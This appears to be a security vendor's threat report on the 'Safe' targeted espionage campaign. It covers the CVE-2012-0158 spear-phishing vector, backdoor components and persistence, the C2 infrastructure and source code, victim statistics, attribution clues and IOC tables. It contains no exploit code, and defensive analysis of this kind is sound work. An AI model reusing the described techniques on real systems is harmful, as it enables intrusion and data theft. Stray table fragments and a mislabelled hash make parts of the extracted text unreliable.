Operators ....................................................................................................16 Conclusion .........................................................................................................17 Defending Against Targeted Attacks ..................................................................18 Local and External Threat Intelligence ........................................................18 Mitigation and Cleanup Strategy .................................................................19 Educating Employees Against Social Engineering .....................................19 Data-Centric Protection Strategy ................................................................19 Trend Micro Threat Protection Against the Safe Campaign ..............................19 References ........................................................................................................21 Safe: A Targeted Threat Introduction Whether considered advanced persistent threats (APTs) or malware-based espionage attacks, successful and long-term compromises of high-value organizations and enterprises worldwide by a consistent set of campaigns cannot be ignored.
Because noisier campaigns are becoming increasingly well-known within the security community, new and smaller campaigns are beginning to emerge.
This research paper documents the operations of a campaign we refer to as Safe, based on the names of the malicious files used.
It is an emerging and active targeted threat.
Note that any mention of SafeNet in this paper is completely unrelated to and has no association with SafeNet, Inc., a global leader in data protection and a valued partner of Trend Micro.
The author of the Safe malware apparently maliciously used the word SafeNet as part of this viral campaign, and to the extent the word SafeNet appears in this paper, it appears solely as replicated in the attacking authors malware configuration.
There is no correlation between SafeNet Inc. and the Safe campaign and should not be interpreted as such.
The Safe campaign was able to compromise the following types of organizations: Government ministries Technology companies Media outlets Academic research institutions Nongovernmental organizations While we have yet to determine the campaigns total number of victims, it appears that nearly 12,000 unique IP addresses spread over more than 100 countries were connected to two sets of command-and-control (CC) infrastructures related to Safe.
We also discovered that the average number of actual victims remained at 71 per day, with few if any changes from day to day.
This indicates that the actual number of victims is far less than the number of unique IP addresses.
Due to large concentrations of IP addresses within specific network blocks, it is likely that the number of victims is even smaller and that they have dynamically assigned IP addresses, which have been compromised for some time now.
Investigating targeted campaigns involves more than simply collecting actionable indicators like malware samples and CC server information.
Investigating and monitoring the activities of the Safe campaign over time, we were able to take advantage of the mistakes the attackers made and thus gain a deeper understanding of their operations.
One of the CC servers was set up in such a way that the contents of the directories were viewable to anyone who accessed them.
As a result, not only were we able to determine who the campaigns victims were, but we were also able to download backup archives that contained the PHP source code the attackers used for the CC server and the C code they used to generate the malware used in attacks.
Safe: A Targeted Threat The author of the malware used in the campaign is probably a professional software developer who studied at a technical university in China.
This individual appears to have repurposed legitimate source code from an Internet services company in the same country for use as part of the campaigns CC server code.
As such, this may be a case in which a malware entrepreneurs code was used in targeted attacks.
In addition to understanding the tools and techniques used in this campaign, we had the opportunity to analyze the data to determine its source.
While the information that we obtained suggested the identity of the malware author, we were not able to attribute the campaign operation to him.
In fact, while we were able to identify the various IP addresses used by the operators, the geographic diversity of the proxy servers and VPNs made it difficult to determine their true origin.
Attack Vector The distribution mechanism the Safe campaign used involved spear- phishing emails that contain a malicious attachment.
This technique, which is quite common for APT campaigns, encourages a recipient to open a malicious attachment by sending an email with contextually relevant content.1 We discovered several malicious documents that all exploited a Microsoft Office vulnerability (i.e., CVE-2012-0158).2 If opened with a version of Microsoft Word that is not up-to-date, a malicious payload is silently installed on the users computer.
Figure 2: Sample decoy documents 1 http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-spear- phishing-email-most-favored-apt-attack-bait.pdf 2 http://www.cve.mitre.org/cgi-bin/cvename.cgi?nameCVE-2012-0158 Figure 1: Sample Safe spear-phishing email (aka attack vector) http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-spear-phishing-email-most-favored-apt-attack-bait.pdf http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-spear-phishing-email-most-favored-apt-attack-bait.pdf http://www.cve.mitre.org/cgi-bin/cvename.cgi3Fname3DCVE-2012-0158 Safe: A Targeted Threat In addition to the Tibetan-themed attack vector, we found documents written in Mongolian though their exact targets remain unclear.
Malware First Stage Opening the malicious document on a system running a vulnerable version of Microsoft Office opens the decoy document for the user to view.
Note though that this also drops malicious files onto the system that allows the attackers to take control of it.
After the initial compromise, the attackers may then steal files from the compromised system.
The decoy document, NBC Interview_Excerpts.doc, has the MD5 hash, a2da9cda33ce378a21f54e9f03f6c0c9efba61fa.
It drops the following files: smcs.exe (91e6277a70d48ed953ac9208275e5dc855a8f7a7), which contains: SafeCredential.
DAT (303e982d0929ca2c50809323dff66be38a46926a) SafeExt.org (2029399fb4be3d88c2ba0a7544b1ebec58157639), which contains: SafeExt.dll (cde35c8da8c420aeaf5adda14ba68d18010479fa) The malware the malicious documents drop has several components, including: SafeExt.dll: Contains the malwares main functionality.
SafeCredential.
DAT: Contains the RC4 key, CC information, and campaign mark.
If User Account Control (UAC) is active, SafeExt.dll will be injected into explorer.exe.
Otherwise, the file is copied to Program Files\Internet Explorer\SafeNet\ and registered as a Browser Helper Object (BHO).3 Figure 3: RC4 key, CC information, and campaign mark 3 http://en.wikipedia.org/wiki/User_Account_Control and http://en.wikipedia.org/wiki/Browser_ Helper_Object http://en.wikipedia.org/wiki/User_Account_Control http://en.wikipedia.org/wiki/Browser_Helper_Object http://en.wikipedia.org/wiki/Browser_Helper_Object Safe: A Targeted Threat The malware then accesses a CC server over HTTP POST to send data using the domain name and URL path in SafeCredential.
DAT.
The network traffic is encrypted with the RC4 key in SafeCredential.
DAT.
One key indicator that can be used to detect this network communication is the user-agent, Fantasia.
During our investigation of the CC servers associated with Safe, we discovered a backup script that the attackers used to archive the files on them.
This allowed us to acquire the source code for the .PHP files used on the CC servers.
The data that the malware sends from a compromised host to report.php is decrypted by the CC server and stored in a MySQL database.
In addition to RC4 encryption use, the files content is XORed with the function in Figure 6.
The parameters of the query are unpacked and sent to a function that inserts the information the compromised host provides into the MySQL database.
It then checks the database to see if the attackers specified instructions to send to the compromised host.
If there are, these instructions are sent back to the compromised host.
Figure 7: Safes check-in function Figure 4: Check in with the CC server Figure 5: Safe backup script Figure 6: Safes VisualEncrypt function Safe: A Targeted Threat The REQUEST_TYPE_CLIENT_REQUEST function inserts a unique ID for each compromised host as well as the Internet and external IP addresses, hostname, Windows domain, the systems disc drive information, and a campaign mark.
It has a field to store information about any additional malware plug-ins that have been installed on the system.
The malware uses the following marks or campaign tags: 120713 120713p 123456 654321 c0814 C0821 L0821 Lewis120713px N0911 Weber0720p 720p L1224 Second Stage After the initial compromise, the attackers may instruct compromised systems to download additional malware and tools.
The tools that we discovered were located on the same CC servers.
Plug-Ins The data contained in the CC servers references plug-ins that are available for the malware.
We believe they are related to the malwares data-exfiltration capabilities.
The names of the plug-ins are: OpenDoc UsbDoc UsbExe Tools The tools used by Safe are off-the-shelf programs that are able to extract saved passwords from Internet Explorer (IE) and Mozilla Firefox as well as any stored Remote Desktop Protocol (RDP) credentials.4 4 The tools are publicly available at http://www.nirsoft.net/.
http://www.nirsoft.net/ Safe: A Targeted Threat Figure 8: Password extraction tools CC We found two sets of CC servers that do not seem to have anything in common apart from being used in conjunction with the same malware.
The first set of CC servers had Mongolian-themed domain namesmongolbaatar.
us and mongolbaatarsonin.in.
The second set of CC servers use the domains, getapencil.com, which was registered with a privacy protection service, and withoutcake.com, which was registered by wanxian126.
com.5 Willyoumarryadog.com may also be a CC server but we have not yet discovered samples that use this domain name.
Figure 9: Safe CC server infrastructure The Tibetan- and Mongolian-themed attack vectors described earlier are connected to the first infrastructure (i.e., mongolbaatar).
We were unable to discover attack vectors for the second CC infrastructure.
5 A variety of services can be used so the registrant information required to register a domain name will not be publicly visible in the WHOIS directory.
Safe: A Targeted Threat Campaign Connections One of the CC servers used, withoutcake.com, was registered using the email address, wanxian126.com.
This email address has been used to register 17 domain names, five of which have been confirmed to be CC servers.
Figure 10: Connections to other campaigns The domain, sugarsbutters.com, was used in attacks that leveraged images of Russian model, Irina Shayk, and dropped the iMuler malware that affects Mac OS X systems in November 2012.6 Three domainsaq5u.org, prettyb0yinus.
com, and shumetheme.orghave also been used as CC servers for campaigns using the Enfal malware.7 Identification of Victims We were able to identify victims in two ways.
First, we were able to download a list of victims that were currently online from the CC servers.
Second, we were also able to download logs from the CC servers that listed all of the IP addresses that checked in to them using the REQUEST_TYPE_CLIENT_ REQUEST function.
The first set of CC servers (i.e., mongolbataar) appeared to have only three live victimsone with an IP address assigned to South Sudan, another with an address assigned to Mongolia, and another that did not list an external IP address.
The logs we obtained from the first set of CC servers showed that 243 unique IP addresses from 11 different countries checked in to them.
6 http://www.totaldefense.com/blogs/2012/04/11/mac-os-x-threat-masquerading-as-image-files.
aspx and http://www.f-secure.com/v-descs/backdoor_osx_imuler_a.shtml 7 http://www.sophos.com/en-us/threat-center/threat-analyses/viruses-and-spyware/ TrojLuiha-BK/detailed-analysis.aspx and http://www.threatexpert.com/report.
aspx?md59d334262d146bd57a7adfb9b3e093f9f http://www.totaldefense.com/blogs/2012/04/11/mac-os-x-threat-masquerading-as-image-files.aspx http://www.totaldefense.com/blogs/2012/04/11/mac-os-x-threat-masquerading-as-image-files.aspx http://www.f-secure.com/v-descs/backdoor_osx_imuler_a.shtml http://www.sophos.com/en-us/threat-center/threat-analyses/viruses-and-spyware/TrojLuiha-BK/detailed-analysis.aspx http://www.sophos.com/en-us/threat-center/threat-analyses/viruses-and-spyware/TrojLuiha-BK/detailed-analysis.aspx http://www.threatexpert.com/report.aspx3Fmd53D9d334262d146bd57a7adfb9b3e093f9f http://www.threatexpert.com/report.aspx3Fmd53D9d334262d146bd57a7adfb9b3e093f9f Safe: A Targeted Threat Table 1: Country Breakdown of Unique IP Address Locations The logs we obtained from the second set of CC servers (i.e., getapencil.
com) showed that 11,563 unique IP addresses from 116 different countries checked in to them.
Table 2: Top 15 Country Breakdown of Unique IP Address Locations We discovered that on average, 71 victims accessed the getapencil.com CC server at any given time.
The actual total victim count was significantly lower than the number of unique IP addresses though.
Country Number of IP Addresses Mongolia 212 South Sudan 9 Bulgaria 8 China 4 United States 3 Canada 2 Hungary 1 South Korea 1 Australia 1 India 1 Egypt 1 Country Number of IP Addresses India 4,305 United States 709 China 625 Pakistan 554 Philippines 445 Russia 307 Brazil 283 Romania 248 Saudi Arabia 192 Algeria 180 United Arab Emirates 170 Serbia 161 Malaysia 154 Syria 151 Hungary 147 Safe: A Targeted Threat Tools A closer look at the CC servers allowed us to identify the tools and source code the threat actors used to create, distribute, and encrypt/decrypt data.
The tools presented in this section either came preassembled or could be compiled using the source code that could be downloaded from the getapencil.com CC server.
TypeConfig/SafeDisk The primary function of TypeConfig/SafeDisk appears to be embedding a backdoor into a valid .PE file.
This tool appears to be the primary method for creating the malware related to the campaign.
Figure 11: Data flow diagram showing TypeConfig malware creation Figure 12: TypeConfig and translated graphical user interfaces (GUIs) Safe: A Targeted Threat The fields in the TypeConfig GUI allow an attacker to specify a CC server location and data like the malwares name and version number, which are sent back to the attacker after a compromise.
DECRYPT.exe We also pulled the application, DECRYPT.exe, from a getapencil.
com CC server.
This application is a custom encrypter/decrypter for any file inputted into the application.
Further analysis of this application shows that it uses large portions of Makoto Matsumoto and Takuji Nishimuras Random Number Generator (RNG) for encryption functionality.8 Once the Decrypt button is pressed, a password validation box appears.
We were able to identify victim files that were on drop servers that utilize DECRYPT.exe for encryption/ decryption.
Common Tools We also identified security tools with both valid and nefarious purposes and have been used in other campaigns on the CC servers.
|
69
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We listed some of these along with their functionality below: LZ77: Used to compress and decompress files.
| 17,325
| 17,461
| 137
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data/reports_final/0069.txt
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We listed some of these along with their functionality below: LZ77: Used to compress and decompress files.
UPXShell: Commonly used to pack malware in order to make it more difficult for analysts to reverse-engineer.
DebugView: A Microsoft Sysinternals tool that allows you to monitor debug outputs on your local system.
Build.bat: Used to open TypeConfig and automate malware creation processes.
Compress.bat: Used to automatically compress files defined in a batch file with the aid of LZ77.exe.
PECompress.bat: Used to compress files identified in a batch file with the aid of UPXShell.exe.
8 http://www.math.sci.hiroshima-u.ac.jp/m-mat/MT/MT2002/CODES/readme-mt.txt Figure 13: DECRYPT.exes GUI with some translated content Figure 14: Password validation box that appears when the Decrypt button is pressed http://www.math.sci.hiroshima-u.ac.jp/m-mat/MT/MT2002/CODES/readme-mt.txt Safe: A Targeted Threat Source Code This section shows some of the discoveries we made while trying to identify the functionality and use cases of each application we discovered.
Nearly all of the samples were coded in C, specifically Visual C. The directory structure of the source code appeared to be standard of directories written using C, Visual Studio Express, or a litany of other tools.
The code appeared to be very robust.
We created a complete mind map of the code, its directories and the files located within the said directories.9 Figure 15: High-level directory/code structure of our findings The applications in the following section are only a few of those that contained some of the most interesting details about our findings.
9 Due to the number and depth of directories discovered, what has been included here is only a portion of the mind map we created.
Safe: A Targeted Threat TypeConfig.exe/SafeDisk.exe Source Code Analysis Figure 16: SafeDisk/TypeConfig source tree We were able to correlate similarities between TypeConfig.exe and SafeDisk.exe.
While reverse- engineering code and functionality, we discovered that the two applications were identical in function.
We have not, however, ascertained what the purpose behind differential naming is, but their functionality appeared to be very similar.
We also identified fields in TypeConfig.exe by directly correlating the code to the fields within the GUI.
Another interesting feature to note within TypeConfig.exe is its use of SafeCredential.
DAT, which the threat actors created to specify the RC4 encryption key, CC server information, and campaign mark.
Figure 17: Code identifying SafeDisk.exe Figure 18: Field lists for the GUI Figure 19: SafeCredential.
DAT utilization Safe: A Targeted Threat CC Source Code Figure 20: PHP source code tree The CC functionality was written in PHP.
The code required config.php, which contained the configuration for the MySQL database where victim information was stored global.php, which contained some mapping of strings to command numbers upload.
php, which provided the functionality for data exfiltration and utils.php, which contained the encryption functions in order to encrypt and decrypt communications between a compromised host and a CC server.
Compromised hosts and malicious operators interacted with record.php, the primary file required for CC operation.
The utils directory also contained code for extensive logging and what appeared to be repurposed legitimate code.
When compromised computers accessed record.php, they interacted with the functionality labeled CLIENT.
Operators used MANAGE commands to interact with the CC functionality.
Attribution Identifying who is responsible for targeted attacks is not an easy task.
The term attribution is applied to everything, ranging from individuals to governments.
The technical indicators often used to determine attribution like domain name registration data and geographic locations of IP addresses can be easily falsified.
Modern attackers often use hop points that consist of compromised systems as well as proxy servers and VPNs to disguise their origin.
It is trivial to purchase virtual private servers (VPSs) in just about any country, and determining who ultimately benefits from the spoils of targeted attacks is often a matter of interpretation based on geopolitics with limited exploration of possible alternative explanations.
Figure 21: Safe commands Safe: A Targeted Threat The technical indicators used to attribute attacks vary, depending on what is being analyzed.
In some cases, the term attribution is used to refer to the developers of either the exploits or malware payloads.
They could very well be completely different threat actors.
The term is also used to refer to identify the providers of CC infrastructures used in targeted attacks, particularly those that registered the domain names.
It can also refer to obtaining specific information about the campaign operators who launch attacks and operate the CC infrastructure.
This paper presents some of the technical evidence we discovered during our investigation.
We focused on two threat actor typesdevelopers and operators.
We were able to uncover clues that indicate the identity of the malware author that were left in the source code as well as through open source analysis.
We were able to obtain limited insights into the activities of the CC operators through the logs they collected, which recorded the IP addresses they used to operate and manage the CC servers.
Developers Throughout much of the code, we saw indications of its origin.
For instance, when looking at the code for the file, TypeConfig.vcproj.
INTERNAL.
[
REDACTED]04.user, located under SrcTypeConfig, we were not only able to locate the authors name but also the language setting, ?
xml version1.0 encoding gb2312?,
which refers to the registered Internet name for a key official character set of the Peoples Republic of China (PRC).10 However, other comments, especially those within the PHP code, often appeared in English.
In addition to the language used, we found that the malware author used a name in several places throughout the source code.
For instance, under the directory, SrcTypeConfig, we noticed an interesting .vcproj file called TypeConfig.vcproj.
INTERNAL.
[
REDACTED]04.user.
This file contains a remote machine configuration module that includes the authors name and the name of the development machine used, which directly correlates to CompanyName found elsewhere in the code.
10 http://en.wikipedia.org/wiki/GB_2312 Figure 22: TypeConfigs source code Figure 23: Vcproj configuration with machine name http://en.wikipedia.org/wiki/GB_2312 Safe: A Targeted Threat Figure 24: TypeConfigs source code with author information We found the string, CompanyName, in the C source code that contains the same name as the development machines.
The PHP code used as the CC servers back end contained a copyright notice that matches the authors name in the C code as well as an email address/QQ number that matches the CompanyName in the C code.
Figure 25: Copyright notice containing a name and an email address/QQ number The email address was used to register a domain name for a personal blog about software development with a Beijing street address.
We also found the same name and email address used by an author of an academic paper at a technical university in China.
Posts on this individuals personal blog also indicate a relationship with the same university, including the development of some legitimate software.
Safe: A Targeted Threat The CompanyName in the source code, portions of which are contained in the email address/QQ number, were also found in source code for keyloggers and malware posted on a Chinese code-sharing site.
We also found legitimate code that appears to have been developed by an Internet services company used as part of the CC panel.
This code was not developed by the same person that we believe developed the Safe malware but appears to simply have been reused.
We believe though that this code is not publicly available.
In the codes archive we recovered from the CC servers, we found a .csv directory that contains an entries file that contains the location of the repository as well as the time, version, and user name of the person who last committed the source code.
The author information indicates that the malware author checked the code in to the Internet services companys private SVN repository.
It appears that the malware author has been repurposing the code for his own malware project.
We believe the malware author is a professional software engineer that is familiar with version control.
We also found indicators that this individual is proficient in software development due to the high quality of the source code he used.
The entire source code was explicitly written with future development in mind.
It was modularized and heavily commented on in a way that allows further development even by several engineers.
These qualities are traditionally seen in the work of professional software engineers that have been taught traditional computer science.
Apart from being significantly well-organized and well-commented, the code was also developed with defensive programming in mind.
Each of the variables was named in a very obvious manner, helping other engineers easily distinguish functionality again, a trait seen in the work of many professional software engineers.
In addition to being heavily commented on and using intuitive variable naming conventions, the code also had an apparent slant toward usability.
Each interface was very intuitive and well-designed, something not often seen in the code of a hobbyist.
The use of terms like bot, combined with the authors posting of the malware code to code-sharing sites, indicate a degree of familiarity with the cybercriminal underground in China.
We have not, however, uncovered evidence that links the malware author with the campaigns operators.
Operators We were unable to obtain information beyond IP addresses that indicate the origin of those issuing MANAGE or other CC requests.
The extensive logging performed by the CC servers, however, allowed us to differentiate between the victims and operators IP addresses.
Figure 26: Repurposed source code Figure 27: SVN repository with user name Safe: A Targeted Threat Table 3: Geographic Locations of the Mongolbaatar CC Server Operators IP Addresses Table 4: Geographic Locations of the Getapencil CC Server Operators IP Addresses While most of the operator interactions we saw were from China and Hong Kong, we also saw the use of VPNs and proxy tools, including Tor, which contributed to the geographic diversity of the operators IP addresses.
Conclusion Ongoing cyber-espionage campaigns have been successfully infiltrating targets worldwide, many of which have been active for years.
However, the amount of public exposure, especially of noisier and larger campaigns, has been increasing.
Perhaps due to their success, these campaigns operators intensified their operations, causing them to be increasingly visible.
But smaller campaigns are beginning to emerge these use small clusters of CC servers and new malware as well as attack fewer targets.
While determining the intent and identity of the attackers often remains difficult to ascertain, we determined that the Safe campaign is targeted and uses malware developed by a professional software engineer that may be connected to the cybercriminal underground in China.
This individual studied at a prominent technical university in the same country and appears to have access to an Internet services companys source code repository.
This individual developed malware that was, in turn, used for targeted attacks leveraging two distinct sets of CC infrastructure.
Country Number of IP Addresses China 16 United States 5 Hong Kong 1 Country Number of IP Addresses South Korea 17 Hong Kong 12 China 11 United States 8 Taiwan 1 Romania 1 Safe: A Targeted Threat As the tools used in targeted attacks are exposed, attackers may look for new custom malware to circumvent defenses.
As a result, attackers may increasingly look to the cybercriminal underground for new malicious tools instead of developing their own tools for exclusive use.
These developments highlight the increasing need for ongoing investigation and monitoring of such threats.
While indicators that can be directly incorporated into defensive operations remain important, in-depth qualitative analysis of particular campaigns can provide critical insights into attackers operations.
Furthermore, attribution should not be entirely based on the common use of tools and infrastructure, as these are increasingly not being developed and used exclusively by particular sets of threat actors.
Defending Against Targeted Attacks Sufficiently motivated threat actors can penetrate even networks that use moderately advanced security measures.
As such, apart from standard and relevant attack prevention measures and mechanisms like solid patch management endpoint and network security firewall use and the like, enterprises should also focus on detecting and mitigating attacks.
Moreover, data loss prevention (DLP) strategies that identify the data an organization is protecting and take into account the context of data use should be employed.
Local and External Threat Intelligence Threat intelligence refers to indicators that can be used to identify the tools, tactics, and procedures threat actors engaging in targeted attacks use.
Both external and local threat intelligence is crucial for developing the ability to detect attacks early.
The following are the core components of this defense strategy: Enhancing visibility: Logs from endpoint, server, and network monitoring are an important and often underused resource that can be aggregated to provide a view of the activities within an organization that can be processed for anomalous behaviors, which can indicate a targeted attack.
Performing integrity checks: In order to maintain persistence, malware will make modifications to the file system and registry.
Monitoring such changes can indicate the presence of malware.
Empowering the human analyst: Humans are best positioned to identify anomalous behaviors when presented with a view of aggregated logs from across a network.
This information is used in conjunction with custom alerts based on the local and external threat intelligence available.
Technologies available today like Deep Discovery provide visibility, insight, and control over networks to defend against targeted threats.11 Deep Discovery uniquely detects and identifies evasive threats in real-time and provides in-depth analysis and actionable intelligence to prevent, discover, and reduce risks.
11 http://www.trendmicro.com/us/enterprise/security-risk-management/deep-discovery/index.html http://www.trendmicro.com/us/enterprise/security-risk-management/deep-discovery/index.html Safe: A Targeted Threat Mitigation and Cleanup Strategy Once an attack is identified, the cleanup strategy should focus on the following objectives: Determine the attack vector and cut off communications with the CC server.
Determine the scope of the compromise.
Assess the damage by analyzing the data and forensic artifacts available on compromised machines.
Remediation should be applied soon afterward, which includes steps to fortify affected servers, machines, or devices into secure states, informed in part by how the compromised machines were infiltrated.
Educating Employees Against Social Engineering Security-related policies and procedures combined with education and training programs are essential components of defense.
Traditional training methods can be fortified by simulations and exercises using real spear-phishing attempts sent to test employees.
Employees trained to expect targeted attacks are better positioned to report potential threats and constitute an important source of threat intelligence.
Data-Centric Protection Strategy The ultimate objective of targeted attacks is to acquire sensitive data.
As such, DLP strategies that focus on identifying and protecting confidential information are critical.
Enhanced data protection and visibility across an enterprise provides the ability to control access to sensitive data as well as monitor and log successful and unsuccessful attempts to access it.
Enhanced access control and logging capabilities allow security analysts to locate and investigate anomalies, respond to incidents, and initiate remediation strategies and damage assessment.
Trend Micro Threat Protection Against the Safe Campaign Part of processing and identifying the components of the Safe campaign is creating a list of indicators of compromise (IOCs) to help organizations better identify and locate certain tools, malware, and traffic patterns that could indicate compromise.
Safe: A Targeted Threat The following table summarizes the Trend Micro solutions for the components of the Safe campaign.
Trend Micro recommends a comprehensive security risk management strategy that goes further than advanced protection to meet the real-time threat management requirements of dealing with targeted attacks.
Attack Component Protection Technology Trend Micro Solution Network traffic identifiers: Network traffic going to mongolbaatarsonin.
in Network traffic going to withoutcake.com Network traffic going to mongolbaatar.us Network traffic going to getapencil.com User-agent identified as Fantasia Communication with any URL with the sub- URL, /safe/record.php Web Reputation Endpoint (Titanium, Worry-Free Business Security, OfficeScan) Server (Deep Security) Messaging (InterScan Messaging Security, ScanMail Suite for Microsoft Exchange) Network (Deep Discovery) Gateway (InterScan Web Security, InterScan Messaging Security) Mobile (Mobile Security) Host-based identifiers: Presence of SafeExt.dll on the host (commonly found in Program Files\ Internet Explorer\SafeNet\) Presence of SafeCredential.
DAT on the host (commonly found in Program Files\ Internet Explorer\SafeNet\) Presence of the directory, Program Files\Internet Explorer\SafeNet\ Modification of the following registry values: \197BD4A7-401A-424B-8B53- 401D66865829\1.0\0\win32\: C:\Program Files\Internet Explorer\SafeNet\SafeExt.dll HKU\S-1-5-21-3050518243-3448030925- 2694814405-1000_Classes\VirtualStore\ MACHINE\SOFTWARE\Classes\ TypeLib\197BD4A7-401A-424B-8B53- 401D66865829\1.0\HELPDIR\: C:\ Program Files\Internet Explorer\SafeNet\ HKU\S-1-5-21-3050518243-3448030925- 2694814405-1000_Classes\VirtualStore\ MACHINE\SOFTWARE\Classes\ TypeLib\197BD4A7-401A-424B-8B53- 401D66865829\1.0\FLAGS\: 0 HKU\S-1-5-21-3050518243-3448030925- 2694814405-1000_Classes\VirtualStore\ MACHINE\SOFTWARE\Classes\ TypeLib\197BD4A7-401A-424B-8B53- 401D66865829\1.0\: SafeExt 1.0 Type Library File Reputation (Antivirus/Anti-malware) Endpoint (Titanium, Worry-Free Business Security, OfficeScan) Server (Deep Security) Messaging (InterScan Messaging Security, ScanMail Suite for Microsoft Exchange) Network (Deep Discovery) Gateway (InterScan Web Security, InterScan Messaging Security) Mobile (Mobile Security) Safe: A Targeted Threat References http://www.trendmicro.com/cloud-content/ us/pdfs/security-intelligence/white-papers/ wp-spear-phishing-email-most-favored-apt- attack-bait.pdf http://www.cve.mitre.org/cgi-bin/cvename.
cgi?nameCVE-2012-0158 http://en.wikipedia.org/wiki/User_Account_ Control http://en.wikipedia.org/wiki/Browser_ Helper_Object http://www.nirsoft.net/ http://www.totaldefense.com/ blogs/2012/04/11/mac-os-x-threat- masquerading-as-image-files.aspx Attack Component Protection Technology Trend Micro Solution Malware files: TROJ_FAKESAFE.SMA 029b716d3ef7969819e67800d9c716f5 7d21dd42d8c83505c0ca691b84200a3d 9cd5fc340522f1f1a8a4e4008e99d893 a73cc231498079396aa93b4b2bf07293 ec11c74dd6880adeda7ef47eed272f34 TROJ_DROPER.SMA 0e431415b774178ab2c61cc8059dff37 6efbb2cf6a917495c5d0e5366bad9f00 df70528104138299ed807823353e1e23 TROJ_DROPDET.A 187de2aa89e2eeb0a16705555387e488 1bd4428c3145608c450ba77a8442ebf3 4bc95c02a7ff8d6d571d21deb3aeab15 6b4b6e649c3b19cf4334f4ea9c219417 7a16003bd4d4cab734a3f46338dd2e47 7e2ee5883cd4b2e202d52941efb9ed19 7f42ade2ec925f8c78551173626a3b94 80293c5a9c2915769438d5524fcfdb88 8503cf0484545d65998b38addb910dcd 95d7c5ec58661bd158a4a55d1af0098e 9d4633d8ecffac7257884b4ae48c2650 cb043ef81849d5bb0dbb5406320e7c76 e375089bbc34c7017c52105224ee1ba9 e5f9f4a252622029c7bbad78f8a25363 faca29ccc97aa933a048f9d6a095b7f6 TROJ_MDROP.DET 520ce270dad6e8ac722610347272dfff 939554c50dfcc4607663e60b625763ef ee610ba2e096f125da66c2db7eab014b ADW_ADSTART 5ae6024b60473559c2870cdc1f4f89da TROJ_CONNECT.DET 6f69a6c2797e9b6eb92aefe2eca0cff1 File Reputation (Antivirus/Anti-malware) Endpoint (Titanium, Worry-Free Business Security, OfficeScan) Server (Deep Security) Messaging (InterScan Messaging Security, ScanMail Suite for Microsoft Exchange) Network (Deep Discovery) Gateway (InterScan Web Security, InterScan Messaging Security) Mobile (Mobile Security) http://www.f-secure.com/v-descs/backdoor_ osx_imuler_a.shtml http://www.sophos.com/en-us/threat-center/ threat-analyses/viruses-and-spyware/ TrojLuiha-BK/detailed-analysis.aspx http://www.threatexpert.com/report.aspx?
md59d334262d146bd57a7adfb9b3e093f9f http://www.math.sci.hiroshima-u.ac.jp/m- mat/MT/MT2002/CODES/readme-mt.txt http://en.wikipedia.org/wiki/GB_2312 http://svnbook.red-bean.com/en/1.6/svn.
developer.insidewc.html http://www.trendmicro.com/us/enterprise/ security-risk-management/deep-discovery/ index.html http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-spear-phishing-email-most-favored-apt-attack-bait.pdf http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-spear-phishing-email-most-favored-apt-attack-bait.pdf http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-spear-phishing-email-most-favored-apt-attack-bait.pdf http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-spear-phishing-email-most-favored-apt-attack-bait.pdf http://www.cve.mitre.org/cgi-bin/cvename.cgi3Fname3DCVE-2012-0158 http://www.cve.mitre.org/cgi-bin/cvename.cgi3Fname3DCVE-2012-0158 http://en.wikipedia.org/wiki/User_Account_Control http://en.wikipedia.org/wiki/User_Account_Control http://en.wikipedia.org/wiki/Browser_Helper_Object http://en.wikipedia.org/wiki/Browser_Helper_Object http://www.nirsoft.net/ http://www.totaldefense.com/blogs/2012/04/11/mac-os-x-threat-masquerading-as-image-files.aspx http://www.totaldefense.com/blogs/2012/04/11/mac-os-x-threat-masquerading-as-image-files.aspx http://www.totaldefense.com/blogs/2012/04/11/mac-os-x-threat-masquerading-as-image-files.aspx http://www.f-secure.com/v-descs/backdoor_osx_imuler_a.shtml http://www.f-secure.com/v-descs/backdoor_osx_imuler_a.shtml http://www.sophos.com/en-us/threat-center/threat-analyses/viruses-and-spyware/TrojLuiha-BK/detailed-analysis.aspx http://www.sophos.com/en-us/threat-center/threat-analyses/viruses-and-spyware/TrojLuiha-BK/detailed-analysis.aspx http://www.sophos.com/en-us/threat-center/threat-analyses/viruses-and-spyware/TrojLuiha-BK/detailed-analysis.aspx http://www.threatexpert.com/report.aspx3Fmd53D9d334262d146bd57a7adfb9b3e093f9f http://www.threatexpert.com/report.aspx3Fmd53D9d334262d146bd57a7adfb9b3e093f9f http://www.math.sci.hiroshima-u.ac.jp/m-mat/MT/MT2002/CODES/readme-mt.txt http://www.math.sci.hiroshima-u.ac.jp/m-mat/MT/MT2002/CODES/readme-mt.txt http://en.wikipedia.org/wiki/GB_2312 http://svnbook.red-bean.com/en/1.6/svn.developer.insidewc.html http://svnbook.red-bean.com/en/1.6/svn.developer.insidewc.html http://www.trendmicro.com/us/enterprise/security-risk-management/deep-discovery/index.html http://www.trendmicro.com/us/enterprise/security-risk-management/deep-discovery/index.html http://www.trendmicro.com/us/enterprise/security-risk-management/deep-discovery/index.html May 2013 Campaign Quick Profile: Safe Targeted attacks are attacks that appear to be intended for specific entities or organizations.
Unlike indiscriminate cybercrime attacks, spam, web threats, and the like, targeted attacks are much harder to detect because of the nature of related components and techniques.
SAFE First Seen Individual targeted attacks are not one-off attempts.
Attackers continually try to get inside the targets network.
The Safe campaign was first seen on October 2012.
Victims and Targets Targeted threats target specific industries or communities of interest in specific regions.
The Safe campaign was able to compromise government ministries, technology companies, media outlets, academic research institutions, and nongovernmental organizations.
Furthermore, it was discovered that the average number of actual victims remained at 71 per day, with few if any changes from day to day.
Operations First-stage computer intrusions often use social engineering.
Attackers custom-fit attacks to their targets.
The Safe campaign attackers used spear-phishing emails with malicious attachments.
Attackers used several malicious documents that all exploited a Microsoft Office vulnerability (i.e., CVE-2012-0158).
If opened with a version of Microsoft Word that is not up-to-date, a malicious payload is silently installed on the users computer.
In addition, one of the CC servers used in the Safe campaign was set up in such a way that the contents of the directories were viewable to anyone who accessed them.
Possible Indicators of Compromise Attackers want to remain undetected as long as possible.
A key characteristic of targeted attacks is stealth.
Below is a list of the components of the Safe campaign.
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70
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Network traffic identifiers: Network traffic going to mongolbaatarsonin.
| 17,462
| 17,904
| 443
